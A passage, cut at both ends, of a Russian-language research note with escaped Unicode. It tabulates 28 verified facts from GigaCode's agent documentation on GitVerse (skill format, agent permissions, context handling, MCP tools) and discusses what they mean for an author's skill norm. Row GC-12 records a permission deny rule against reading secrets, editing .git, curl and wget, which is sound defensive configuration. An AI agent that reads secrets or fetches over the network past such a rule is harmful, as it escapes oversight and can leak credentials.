\u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 issue #571: `quick-start`,\\n`repository-setup`, `workflow`, `context`, `tools`, `skills`, `agents`, \u0430 \u0442\u0430\u043a\u0436\u0435\\n[`gigacode-on-gitverse`](https://gitverse.ru/docs/ai/gigacode-on-gitverse),\\n[`mcp`](https://gitverse.ru/docs/ai/mcp) \u0438\\n[`mcp/gitverse-mcp-tools`](https://gitverse.ru/docs/ai/mcp/gitverse-mcp-tools).\\n\\n**\u0418\u0437\u043c\u0435\u0440\u0438\u0442\u0435\u043b\u044c.**\\n[`exp/ba-process-taxonomy-571/fetch-gigacode-docs.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-process-taxonomy-571/fetch-gigacode-docs.py),\\n\u0441\u044b\u0440\u043e\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u2014\\n[`gigacode-docs.json`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-process-taxonomy-571/gigacode-docs.json),\\n\u043b\u043e\u0433 \u2014\\n[`fetch-gigacode-docs.log`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-process-taxonomy-571/fetch-gigacode-docs.log).\\n\u0421\u043a\u0440\u0438\u043f\u0442 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0432\u0441\u0435 \u043e\u0434\u0438\u043d\u043d\u0430\u0434\u0446\u0430\u0442\u044c \u0441\u0442\u0440\u0430\u043d\u0438\u0446, \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 HTTP-\u043a\u043e\u0434, \u0440\u0430\u0437\u043c\u0435\u0440 \u0438 `sha256`\\n\u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e HTML \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u0434\u0432\u0430\u0434\u0446\u0430\u0442\u0438 \u0447\u0435\u0442\u044b\u0440\u0451\u0445 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043e\u043a,\\n\u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u043f\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043d\u043e\u0440\u043c\u0430 \u0425\u0430\u0431\u0430. \u041f\u0440\u043e\u0433\u043e\u043d 2026-09-10: **11 \u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0438\u0437 11**,\\nHTTP 200 \u0443 \u0432\u0441\u0435\u0445, **24 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f \u0438\u0437 24 \u043d\u0430\u0439\u0434\u0435\u043d\u044b**, \u043e\u0448\u0438\u0431\u043e\u043a \u043d\u0435\u0442.\\n\\n## \u0421\u0432\u043e\u0434\u043a\u0430\\n\\n| \u041a\u043e\u0434 | \u0424\u0430\u043a\u0442 | \u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 |\\n| --- | --- | --- |\\n| `GC-1` | \u043d\u0430\u0432\u044b\u043a \u2014 \u043f\u0430\u043f\u043a\u0430 \u0441 \u0444\u0430\u0439\u043b\u043e\u043c `SKILL.md` \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0444\u043e\u0440\u043c\u0430\u0442\u0435 | `skills` |\\n| `GC-2` | \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043f\u043e\u043b\u0435\u0439 \u0440\u043e\u0432\u043d\u043e \u0434\u0432\u0430: `name` \u0438 `description` | `skills` |\\n| `GC-3` | \u043d\u0430\u0432\u044b\u043a\u0438 \u043b\u0435\u0436\u0430\u0442 \u0432 `.agents/skills/<\u0438\u043c\u044f>/SKILL.md` | `skills` |\\n| `GC-4` | `name` \u043e\u0431\u044f\u0437\u0430\u043d \u0431\u044b\u0442\u044c \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u043c, \u0438\u043d\u0430\u0447\u0435 \u0432\u044b\u0431\u043e\u0440 \u043d\u0430\u0432\u044b\u043a\u0430 \u043d\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d | `skills` |\\n| `GC-5` | \u0440\u044f\u0434\u043e\u043c \u0441 `SKILL.md` \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u044b \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b | `skills` |\\n| `GC-6` | \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0441\u0442\u0443\u043f\u0435\u043d\u0447\u0430\u0442\u0430\u044f: \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0438\u043c\u0435\u043d\u0430 \u0438 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044f, \u043f\u043e\u0442\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f | `skills` |\\n| `GC-7` | \u0430\u0433\u0435\u043d\u0442\u044b \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0432 `.opencode/agent/*.md` | `agents` |\\n| `GC-8` | `mode`: `primary`, `subagent` \u0438\u043b\u0438 `all` | `agents` |\\n| `GC-9` | `permission` \u2014 \u043f\u0440\u0430\u0432\u0430 \u043f\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u043c \u0441 \u043a\u0430\u0440\u0442\u043e\u0439 \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u0432 | `agents` |\\n| `GC-10` | `steps` \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u0435\u0442 \u0447\u0438\u0441\u043b\u043e \u0432\u044b\u0437\u043e\u0432\u043e\u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 | `agents` |\\n| `GC-11` | \u0430\u0433\u0435\u043d\u0442\u0443 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434 \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0438: \u0441\u0431\u043e\u0440\u043a\u0430, \u0442\u0435\u0441\u0442\u044b, \u043b\u0438\u043d\u0442\u0435\u0440\u044b | `tools` |\\n| `GC-12` | \u043f\u0440\u043e\u0444\u0438\u043b\u0435\u043c \u0437\u0430\u043f\u0440\u0435\u0449\u0435\u043d\u043e \u0447\u0442\u0435\u043d\u0438\u0435 \u0441\u0435\u043a\u0440\u0435\u0442\u043e\u0432, \u043f\u0440\u0430\u0432\u043a\u0430 `.git`, `curl`, `wget` | `tools` |\\n| `GC-13` | \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u044e\u0442\u0441\u044f \u043f\u043e Model Context Protocol | `tools` |\\n| `GC-14` | \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0437\u0430\u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u0439, \u0430 \u043d\u0435 \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u0441\u043b\u043e\u0432\u0430\u043c\u0438 | `workflow` |\\n| `GC-15` | \u043a\u0430\u0436\u0434\u043e\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u043e \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442\u0441\u044f \u0444\u0430\u0439\u043b\u043e\u043c \u0438 \u0441\u0442\u0440\u043e\u043a\u043e\u0439 | `workflow` |\\n| `GC-16` | \u0434\u0438\u0430\u043b\u043e\u0433 \u0441\u0436\u0438\u043c\u0430\u0435\u0442\u0441\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u0440\u0438 \u043f\u0440\u0438\u0431\u043b\u0438\u0436\u0435\u043d\u0438\u0438 \u043a \u043f\u0440\u0435\u0434\u0435\u043b\u0443 | `context` |\\n| `GC-17` | \u043f\u043e\u0441\u043b\u0435 \u0441\u0436\u0430\u0442\u0438\u044f \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432\u044b\u0432\u043e\u0434\u044b, \u0430 \u043d\u0435 \u0434\u043e\u0441\u043b\u043e\u0432\u043d\u0430\u044f \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u043a\u0430 | `context` |\\n| `GC-18` | `AGENTS.md` \u0432 \u043a\u043e\u0440\u043d\u0435 \u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u0438 \u043a\u0430\u0436\u0434\u043e\u043c \u0437\u0430\u043f\u0443\u0441\u043a\u0435 \u0430\u0433\u0435\u043d\u0442\u0430 | `repository-setup` |\\n| `GC-19` | \u0441\u0440\u0435\u0434\u0430 \u0440\u0430\u0441\u0441\u0447\u0438\u0442\u0430\u043d\u0430 \u043d\u0430 \u0437\u0430\u0434\u0430\u0447\u0438, \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0430\u0448\u0438\u043d\u043d\u043e | `ai-development` |\\n| `GC-20` | \u0432\u0441\u0451, \u0447\u0442\u043e \u043d\u0435 \u0437\u0430\u0434\u0430\u043d\u043e \u0438 \u043d\u0435 \u0441\u043f\u0440\u043e\u0448\u0435\u043d\u043e, \u0430\u0433\u0435\u043d\u0442 \u0434\u043e\u0434\u0443\u043c\u044b\u0432\u0430\u0435\u0442 | `ai-development` |\\n| `GC-21` | GigaCode-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 \u0438 \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u0441\u043b\u0438\u044f\u043d\u0438\u0435 | `gigacode-on-gitverse` |\\n| `GC-22` | MCP \u0434\u0430\u0451\u0442 \u0447\u0442\u0435\u043d\u0438\u0435 \u0437\u0430\u0434\u0430\u0447\u0438 \u0438 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0435\u0432 (`issue_read`) | `mcp/gitverse-mcp-tools` |\\n| `GC-23` | MCP \u0434\u0430\u0451\u0442 \u0437\u0430\u043f\u0438\u0441\u044c \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f (`add_issue_comment`) | `mcp/gitverse-mcp-tools` |\\n| `GC-24` | MCP \u0434\u0430\u0451\u0442 \u043b\u043e\u0433\u0438 CI/CD-\u0437\u0430\u0434\u0430\u0447 (`get_job_logs`) | `mcp/gitverse-mcp-tools` |\\n| `GC-25` | \u043d\u0430\u0432\u044b\u043a \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d \u043a\u0430\u043a \u00ab\u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f \u0434\u043b\u044f \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u044e\u0449\u0435\u0439\u0441\u044f \u0440\u0430\u0431\u043e\u0442\u044b\u00bb \u2014 \u0447\u0435\u0440\u0435\u0437 \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u043c\u043e\u0441\u0442\u044c, \u043d\u0435 \u0447\u0435\u0440\u0435\u0437 \u043e\u0431\u044a\u0451\u043c | `skills` |\\n| `GC-26` | \u043d\u0438\u0436\u043d\u044f\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430: \u00ab\u043a\u043e\u0440\u043e\u0442\u043a\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u0438\u043b\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u00bb \u2014 \u043c\u0435\u0441\u0442\u043e \u0442\u0430\u043a\u043e\u0433\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u0430 `AGENTS.md`, \u0430 \u043d\u0435 \u043d\u0430\u0432\u044b\u043a | `skills` |\\n| `GC-27` | \u043d\u0430\u0432\u044b\u043a \u00ab\u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u0443\u044e \u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440\u0443\u00bb \u2014 \u043c\u043d\u043e\u0433\u043e\u0448\u0430\u0433\u043e\u0432\u043e\u0441\u0442\u044c \u0444\u043e\u0440\u043c\u043e\u0439 \u043d\u0430\u0432\u044b\u043a\u0430 \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f | `skills` |\\n| `GC-28` | \u0432\u0435\u0440\u0445\u043d\u044f\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430: \u0442\u043e, \u0447\u0442\u043e \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u00ab\u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043d\u0430\u0431\u043e\u0440\u0430 \u043f\u0440\u0430\u0432 \u0438 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430\u00bb, \u043e\u0444\u043e\u0440\u043c\u043b\u044f\u0435\u0442\u0441\u044f \u0430\u0433\u0435\u043d\u0442\u043e\u043c | `skills` |\\n\\n## GC-1\u2026GC-6. \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043d\u0430\u0432\u044b\u043a\u0430 \u0437\u0430\u0434\u0430\u043d \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0435\u0439, \u0430 \u043d\u0435 \u0432\u044b\u0432\u0435\u0434\u0435\u043d \u043f\u043e \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0438\\n\\n\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 [\u00ab\u041d\u0430\u0432\u044b\u043a\u0438\u00bb](https://gitverse.ru/docs/ai/ai-development/skills)\\n\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442 \u0444\u043e\u0440\u043c\u0443 \u0434\u043e\u0441\u043b\u043e\u0432\u043d\u043e:\\n\\n> \u041d\u0430\u0432\u044b\u043a \u2014 \u043f\u0430\u043f\u043a\u0430 \u0441 \u0444\u0430\u0439\u043b\u043e\u043c SKILL.md \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u043e\u043c \u0444\u043e\u0440\u043c\u0430\u0442\u0435. \u0412 \u043d\u0430\u0447\u0430\u043b\u0435 \u0444\u0430\u0439\u043b\u0430 \u2014 \u0431\u043b\u043e\u043a\\n> \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445, \u0434\u0430\u043b\u044c\u0448\u0435 \u2014 \u0441\u0430\u043c\u0430 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f.\\n\\n\u041f\u0440\u0438\u043c\u0435\u0440 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445 \u043d\u0430 \u0442\u043e\u0439 \u0436\u0435 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0440\u043e\u0432\u043d\u043e \u0434\u0432\u0430 \u043f\u043e\u043b\u044f \u2014 `name` \u0438\\n`description`, \u2014 \u0438 \u044d\u0442\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e \u0442\u0435\u043a\u0441\u0442\u043e\u043c:\\n\\n> \u041e\u0431\u0430 \u043f\u043e\u043b\u044f \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b. name \u2014 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u043d\u0430\u0432\u044b\u043a\u0430, description \u2014 \u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u0435\u0433\u043e\\n> \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f: \u0430\u0433\u0435\u043d\u0442 \u0447\u0438\u0442\u0430\u0435\u0442 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044f \u0432\u0441\u0435\u0445 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u043d\u0430\u0432\u044b\u043a\u043e\u0432 \u0438 \u043f\u043e \u043d\u0438\u043c \u0440\u0435\u0448\u0430\u0435\u0442,\\n> \u043a\u0430\u043a\u043e\u0439 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u043a \u0442\u0435\u043a\u0443\u0449\u0435\u0439 \u0437\u0430\u0434\u0430\u0447\u0435. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043f\u0438\u0448\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u0443\u0441\u043b\u043e\u0432\u0438\u0435\\n> \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f, \u0430 \u043d\u0435 \u043a\u0430\u043a \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a.\\n\\n\u0420\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u0438\u0435 \u0438 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0438\u043c\u0435\u043d\u0438:\\n\\n> \u041d\u0430\u0432\u044b\u043a\u0438 \u043b\u0435\u0436\u0430\u0442 \u0432 \u043f\u0430\u043f\u043a\u0435 .agents/skills, \u043a\u0430\u0436\u0434\u044b\u0439 \u0432 \u0441\u0432\u043e\u0435\u0439 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 <\u2026> \u0418\u043c\u044f \u043d\u0430\u0432\u044b\u043a\u0430\\n> \u0438\u0437 \u043f\u043e\u043b\u044f name \u0434\u043e\u043b\u0436\u043d\u043e \u0431\u044b\u0442\u044c \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u043c: \u0435\u0441\u043b\u0438 \u0434\u0432\u0430 \u043d\u0430\u0432\u044b\u043a\u0430 \u043d\u0430\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u043e,\\n> \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d \u0431\u0443\u0434\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0434\u0438\u043d \u0438\u0437 \u043d\u0438\u0445, \u0438 \u043a\u0430\u043a\u043e\u0439 \u0438\u043c\u0435\u043d\u043d\u043e \u2014 \u043d\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043e.\\n\\n\u0412\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0438 \u0441\u0442\u0443\u043f\u0435\u043d\u0447\u0430\u0442\u0430\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430:\\n\\n> \u0420\u044f\u0434\u043e\u043c \u0441 SKILL.md \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u044c \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u2014 \u0441\u043a\u0440\u0438\u043f\u0442\u044b, \u0448\u0430\u0431\u043b\u043e\u043d\u044b,\\n> \u043f\u0440\u0438\u043c\u0435\u0440\u044b \u2014 \u0438 \u0441\u0441\u044b\u043b\u0430\u0442\u044c\u0441\u044f \u043d\u0430 \u043d\u0438\u0445 \u0438\u0437 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438.\\n\\n> \u0410\u0433\u0435\u043d\u0442 \u043d\u0435 \u0434\u0435\u0440\u0436\u0438\u0442 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0442\u0435\u043a\u0441\u0442\u044b \u0432\u0441\u0435\u0445 \u043d\u0430\u0432\u044b\u043a\u043e\u0432. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u043e\u043d \u0432\u0438\u0434\u0438\u0442 \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u043c\u0435\u043d\u0430 \u0438\\n> \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044f; \u043f\u043e\u043b\u043d\u0443\u044e \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044e \u0447\u0438\u0442\u0430\u0435\u0442 \u043b\u0438\u0448\u044c \u0442\u043e\u0433\u0434\u0430, \u043a\u043e\u0433\u0434\u0430 \u043d\u0430\u0432\u044b\u043a \u043f\u043e\u0434\u043e\u0448\u0435\u043b \u043a \u0437\u0430\u0434\u0430\u0447\u0435.\\n\\n**\u0421\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435 \u0434\u043b\u044f \u043d\u043e\u0440\u043c\u044b \u0425\u0430\u0431\u0430.** \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043f\u043e\u043b\u0435\u0439 \u0443 \u0441\u0440\u0435\u0434\u044b \u0434\u0432\u0430, \u0443 \u0425\u0430\u0431\u0430 \u0438\u0445\\n\u0431\u043e\u043b\u044c\u0448\u0435. \u0417\u043d\u0430\u0447\u0438\u0442, \u0441\u043e\u0441\u0442\u0430\u0432 \u0441\u0435\u043a\u0446\u0438\u0439 `SKILL.md`, \u043f\u0440\u0438\u043d\u044f\u0442\u044b\u0439 \u0432 \u043c\u043e\u0434\u0443\u043b\u0435 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438, \u2014 \u044d\u0442\u043e\\n**\u0434\u0435\u043b\u044c\u0442\u0430 \u0425\u0430\u0431\u0430 \u043f\u043e\u0432\u0435\u0440\u0445 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430 \u0441\u0440\u0435\u0434\u044b**, \u0430 \u043d\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0440\u0435\u0434\u044b. \u0414\u0435\u043b\u044c\u0442\u0430\\n\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u0430: \u0441\u0440\u0435\u0434\u0430 \u043d\u0435 \u0437\u0430\u043f\u0440\u0435\u0449\u0430\u0435\u0442 \u043d\u0438 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u043e\u043b\u044f \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445, \u043d\u0438\\n\u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u044b \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438. \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u00ab`name` \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u043e\u00bb \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u0451\u0442 \u0431\u044b\u0442\u044c\\n\u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0435\u0439 \u0438 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f **\u043c\u0430\u0448\u0438\u043d\u043d\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c** \u0443\u0441\u043b\u043e\u0432\u0438\u0435\u043c \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 \u043d\u0430\u0432\u044b\u043a\u043e\u0432\\n\u0443\u0440\u043e\u0432\u043d\u044f `L3`: \u043a\u043e\u043b\u043b\u0438\u0437\u0438\u044f \u0438\u043c\u0451\u043d \u0434\u0435\u043b\u0430\u0435\u0442 \u0432\u044b\u0431\u043e\u0440 \u043d\u0430\u0432\u044b\u043a\u0430 \u043d\u0435\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u043c.\\n\\n## GC-25\u2026GC-28. \u0421\u0440\u0435\u0434\u0430 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u0435\u0442 \u043d\u0430\u0432\u044b\u043a \u043f\u043e \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u043c\u043e\u0441\u0442\u0438, \u0430 \u043d\u0435 \u043f\u043e \u0443\u0440\u043e\u0432\u043d\u044e\\n\\n\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 [\u00ab\u041d\u0430\u0432\u044b\u043a\u0438\u00bb](https://gitverse.ru/docs/ai/ai-development/skills)\\n\u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442 \u043d\u0430\u0432\u044b\u043a \u043a\u0430\u043a **\u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044e \u0434\u043b\u044f \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u044e\u0449\u0435\u0439\u0441\u044f \u0440\u0430\u0431\u043e\u0442\u044b** (`GC-25`) \u0438\\n\u0437\u0430\u0434\u0430\u0451\u0442 \u0444\u043e\u0440\u043c\u0435 \u0434\u0432\u0435 \u0433\u0440\u0430\u043d\u0438\u0446\u044b: \u043a\u043e\u0440\u043e\u0442\u043a\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u0438\u043b\u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u2014 \u043d\u0435 \u043d\u0430\u0432\u044b\u043a, \u0435\u0433\u043e \u043c\u0435\u0441\u0442\u043e \u0432\\n`AGENTS.md` (`GC-26`); \u0442\u043e, \u0434\u043b\u044f \u0447\u0435\u0433\u043e \u043d\u0443\u0436\u0435\u043d \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u043d\u0430\u0431\u043e\u0440 \u043f\u0440\u0430\u0432 \u0438 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439\\n\u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442, \u2014 \u0443\u0436\u0435 \u0430\u0433\u0435\u043d\u0442, \u0430 \u043d\u0435 \u043d\u0430\u0432\u044b\u043a (`GC-28`). \u041c\u0435\u0436\u0434\u0443 \u044d\u0442\u0438\u043c\u0438 \u0433\u0440\u0430\u043d\u0438\u0446\u0430\u043c\u0438 \u043e\u0431\u044a\u0451\u043c \u043d\u0435\\n\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d: \u0442\u0430 \u0436\u0435 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043f\u0440\u044f\u043c\u043e \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442, \u0447\u0442\u043e \u043d\u0430\u0432\u044b\u043a \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u0443\u044e\\n\u043f\u0440\u043e\u0446\u0435\u0434\u0443\u0440\u0443 (`GC-27`).\\n\\n**\u0421\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435 \u0434\u043b\u044f \u043d\u043e\u0440\u043c\u044b \u0425\u0430\u0431\u0430.** \u0423\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 0.2 \u00ab\u043d\u0430\u0432\u044b\u043a \u2014 \u043f\u043e\u0434\u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u0430 \u043d\u0435\\n\u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438\u00bb \u043e\u043f\u043e\u0440\u043e\u0439 \u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u0441\u0440\u0435\u0434\u044b **\u043d\u0435 \u043e\u0431\u043b\u0430\u0434\u0430\u0435\u0442**: \u0441\u0440\u0435\u0434\u0430\\n\u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044f \u0443\u0440\u043e\u0432\u043d\u044f \u0434\u0435\u043a\u043e\u043c\u043f\u043e\u0437\u0438\u0446\u0438\u0438 \u043d\u0435 \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442. \u042d\u0442\u043e \u0431\u044b\u043b\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u0435 